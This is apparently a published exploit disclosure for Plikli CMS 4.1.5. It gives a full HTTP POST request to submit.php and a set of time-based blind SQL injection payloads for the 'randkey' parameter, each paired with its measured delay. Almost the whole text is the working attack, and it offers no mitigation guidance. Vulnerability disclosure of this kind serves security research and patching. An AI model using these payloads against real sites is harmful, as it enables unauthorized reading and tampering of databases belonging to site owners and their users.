Plikli CMS 4.1.5 SQL Injection

# Exploit Title: Plikli CMS 4.1.5 - 'randkey' SQL Injection
    # Discovered by: Ahmet Ümit BAYRAM
    # Discovered Date: 05.03.2024
    # Vendor Homepage: https://github.com/kkumar326/plikli
    # Software Link:
    https://github.com/kkumar326/plikli/archive/refs/heads/master.zip
    # Demo: https://softaculous.com/demos/plikli_cms
    # Tested Version: v4.1.5 (latest)
    # Tested on: MacOS
    
    ### PoC Request ###
    
    POST /pliklicms/submit.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/
    20100101 Firefox/124.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
    avif,image/webp,*/*;q=0.8
    Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 95
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/pliklicms/submit.php
    Cookie: PHPSESSID=7f592f5d5ac82747bb6e682ca456a007; mnm_user=admin; mnm_key=
    YWRtaW46MjJrTkdHVDVLbG9NWToxZjMxOGY0YTk5OTQwMzkyYjZhOTJlNjI4MWUyZmRiZg%3D%3D;
    mnm_data=11fe3441ad4723841afd0beace6794ff
    Upgrade-Insecure-Requests: 1
    
    url=http%3A%2F%2Fgoogle.com&phase=1&randkey=1426389526396&id=c_1
    
    ### Vulnerable Parameter ###
    
    randkey
    
    ### Payloads ###
    
    1426389526396*if(now()=sysdate(),sleep(15),0) => 15.581
    1426389526396*if(now()=sysdate(),sleep(6),0) => 6.527
    1426389526396*if(now()=sysdate(),sleep(0),0) => 0.496
    1426389526396*if(now()=sysdate(),sleep(15),0) => 15.488
    1426389526396*if(now()=sysdate(),sleep(3),0) => 5.152
    1426389526396*if(now()=sysdate(),sleep(0),0) => 0.661
    1426389526396*if(now()=sysdate(),sleep(6),0) => 6.851